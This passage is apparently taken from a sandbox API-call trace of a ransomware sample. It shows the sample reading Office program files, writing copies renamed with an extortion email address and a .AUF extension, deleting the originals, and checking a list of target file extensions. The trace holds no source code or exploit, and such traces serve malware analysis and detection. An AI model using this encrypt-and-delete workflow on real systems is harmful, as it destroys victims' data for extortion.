liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.842] ReadFile (in: hFile=0x22c, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.950] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0220.950] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.950] ReadFile (in: hFile=0x22c, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.128] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.128] WriteFile (in: hFile=0x22c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc00fa, lpOverlapped=0x0) returned 1 [0221.149] SetEndOfFile (hFile=0x22c) returned 1 [0221.151] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.151] WriteFile (in: hFile=0x22c, lpBuffer=0x3f81058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f81058*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.159] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.159] WriteFile (in: hFile=0x22c, lpBuffer=0x3f81058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f81058*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.161] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.161] WriteFile (in: hFile=0x22c, lpBuffer=0x3f81058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f81058*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.162] CloseHandle (hObject=0x22c) returned 1 [0221.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString=".doc") returned 4 [0221.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString=".docx") returned 5 [0221.163] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0221.163] lstrlenW (lpString=".pdf") returned 4 [0221.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString=".xls") returned 4 [0221.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString=".xlsx") returned 5 [0221.163] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0221.163] lstrlenW (lpString=".ppt") returned 4 [0221.163] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString=".zip") returned 4 [0221.163] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString=".rar") returned 4 [0221.163] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString=".bz2") returned 4 [0221.163] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.163] lstrlenW (lpString=".7z") returned 3 [0221.163] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString=".dbf") returned 4 [0221.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString=".1cd") returned 4 [0221.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString=".jpg") returned 4 [0221.163] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.163] lstrlenW (lpString=".doc") returned 4 [0221.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.163] lstrlenW (lpString=".docx") returned 5 [0221.164] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0221.164] lstrlenW (lpString=".pdf") returned 4 [0221.164] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.164] lstrlenW (lpString=".xls") returned 4 [0221.164] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.164] lstrlenW (lpString=".xlsx") returned 5 [0221.164] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0221.164] lstrlenW (lpString=".ppt") returned 4 [0221.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.164] lstrlenW (lpString=".zip") returned 4 [0221.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.164] lstrlenW (lpString=".rar") returned 4 [0221.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.164] lstrlenW (lpString=".bz2") returned 4 [0221.164] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.164] lstrlenW (lpString=".7z") returned 3 [0221.164] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.164] lstrlenW (lpString=".dbf") returned 4 [0221.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.164] lstrlenW (lpString=".1cd") returned 4 [0221.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0221.164] lstrlenW (lpString=".jpg") returned 4 [0221.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.164] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.164] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0221.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.263] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=71032) returned 1 [0221.264] CloseHandle (hObject=0x1e0) returned 1 [0221.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0221.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.264] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.264] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0221.264] GetLastError () returned 0x0 [0221.264] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x11578, lpOverlapped=0x0) returned 1 [0221.300] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x11580, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x11580, lpOverlapped=0x0) returned 1 [0221.302] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.302] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.302] SetEndOfFile (hFile=0x16c) returned 1 [0221.302] CloseHandle (hObject=0x16c) returned 1 [0221.302] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.302] SetEndOfFile (hFile=0x1e0) returned 1 [0221.303] CloseHandle (hObject=0x1e0) returned 1 [0221.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.303] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 1 [0221.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.303] lstrlenW (lpString=".doc") returned 4 [0221.303] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.303] lstrlenW (lpString=".docx") returned 5 [0221.303] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0221.303] lstrlenW (lpString=".pdf") returned 4 [0221.304] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".xls") returned 4 [0221.304] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".xlsx") returned 5 [0221.304] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0221.304] lstrlenW (lpString=".ppt") returned 4 [0221.304] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString=".zip") returned 4 [0221.304] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".rar") returned 4 [0221.304] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".bz2") returned 4 [0221.304] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.304] lstrlenW (lpString=".7z") returned 3 [0221.304] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString=".dbf") returned 4 [0221.304] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString=".1cd") returned 4 [0221.304] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString=".jpg") returned 4 [0221.304] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString=".doc") returned 4 [0221.304] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".docx") returned 5 [0221.304] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0221.304] lstrlenW (lpString=".pdf") returned 4 [0221.304] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".xls") returned 4 [0221.304] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString=".xlsx") returned 5 [0221.304] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0221.304] lstrlenW (lpString=".ppt") returned 4 [0221.304] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.304] lstrlenW (lpString=".zip") returned 4 [0221.305] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.305] lstrlenW (lpString=".rar") returned 4 [0221.305] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.305] lstrlenW (lpString=".bz2") returned 4 [0221.305] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.305] lstrlenW (lpString=".7z") returned 3 [0221.305] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.305] lstrlenW (lpString=".dbf") returned 4 [0221.305] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.305] lstrlenW (lpString=".1cd") returned 4 [0221.305] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0221.305] lstrlenW (lpString=".jpg") returned 4 [0221.305] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.305] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0221.305] lstrlenW (lpString="LICLUA.EXE") returned 10 [0221.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.305] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=204168) returned 1 [0221.305] CloseHandle (hObject=0x1e0) returned 1 [0221.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0221.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.306] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.306] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.536] GetLastError () returned 0x0 [0221.536] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x31d88, lpOverlapped=0x0) returned 1 [0221.590] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x31d90, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x31d90, lpOverlapped=0x0) returned 1 [0221.783] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.783] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0221.784] SetEndOfFile (hFile=0x218) returned 1 [0221.784] CloseHandle (hObject=0x218) returned 1 [0221.784] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.784] SetEndOfFile (hFile=0x1e0) returned 1 [0221.785] CloseHandle (hObject=0x1e0) returned 1 [0221.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.786] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 1 [0221.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.788] lstrlenW (lpString=".doc") returned 4 [0221.788] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0221.788] lstrlenW (lpString=".docx") returned 5 [0221.788] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0221.788] lstrlenW (lpString=".pdf") returned 4 [0221.788] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0221.788] lstrlenW (lpString=".xls") returned 4 [0221.788] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0221.788] lstrlenW (lpString=".xlsx") returned 5 [0221.789] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0221.789] lstrlenW (lpString=".ppt") returned 4 [0221.789] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString=".zip") returned 4 [0221.789] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString=".rar") returned 4 [0221.789] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString=".bz2") returned 4 [0221.789] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0221.789] lstrlenW (lpString=".7z") returned 3 [0221.789] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString=".dbf") returned 4 [0221.789] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString=".1cd") returned 4 [0221.789] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString=".jpg") returned 4 [0221.789] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString=".doc") returned 4 [0221.789] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0221.789] lstrlenW (lpString=".docx") returned 5 [0221.789] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0221.789] lstrlenW (lpString=".pdf") returned 4 [0221.789] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString=".xls") returned 4 [0221.789] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString=".xlsx") returned 5 [0221.789] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0221.789] lstrlenW (lpString=".ppt") returned 4 [0221.789] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.789] lstrlenW (lpString=".zip") returned 4 [0221.789] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString=".rar") returned 4 [0221.789] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0221.789] lstrlenW (lpString=".bz2") returned 4 [0221.789] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0221.790] lstrlenW (lpString=".7z") returned 3 [0221.790] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0221.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.790] lstrlenW (lpString=".dbf") returned 4 [0221.790] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0221.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.790] lstrlenW (lpString=".1cd") returned 4 [0221.790] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0221.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0221.790] lstrlenW (lpString=".jpg") returned 4 [0221.790] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0221.790] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0221.790] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0221.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.790] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=121168) returned 1 [0221.791] CloseHandle (hObject=0x1fc) returned 1 [0221.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0221.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.791] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.791] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.791] CreateFileW (lpFileName="C:\\Program 